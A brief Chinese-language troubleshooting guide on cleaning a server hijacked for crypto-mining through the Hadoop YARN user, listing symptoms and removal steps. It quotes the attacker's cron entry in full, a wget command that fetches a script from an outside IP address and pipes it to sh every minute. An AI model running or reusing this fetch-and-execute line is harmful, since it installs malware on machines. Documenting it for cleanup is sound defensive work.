服务器疑似中毒,被拿去挖矿了,该如何解决。
特征:CPU跑满,并且用top查看发现是user为yarn的用户。
解决方法:
①关闭8088端口
②用户切换至yarn并查看定时任务:sudo -u yarn crontab -e
在列表中可以找到类似的任务: * * * * * wget -q -O - http://46.249.38.186/cr.sh | sh > /dev/null 2>&1
删除此定时任务,保存退出。
③查看/var/tmp目录,发现多出了一个java文件,删除它。
④top查看,删除user为yarn的command为java与bash64的进程:kill pid ;多个任务的话:killall command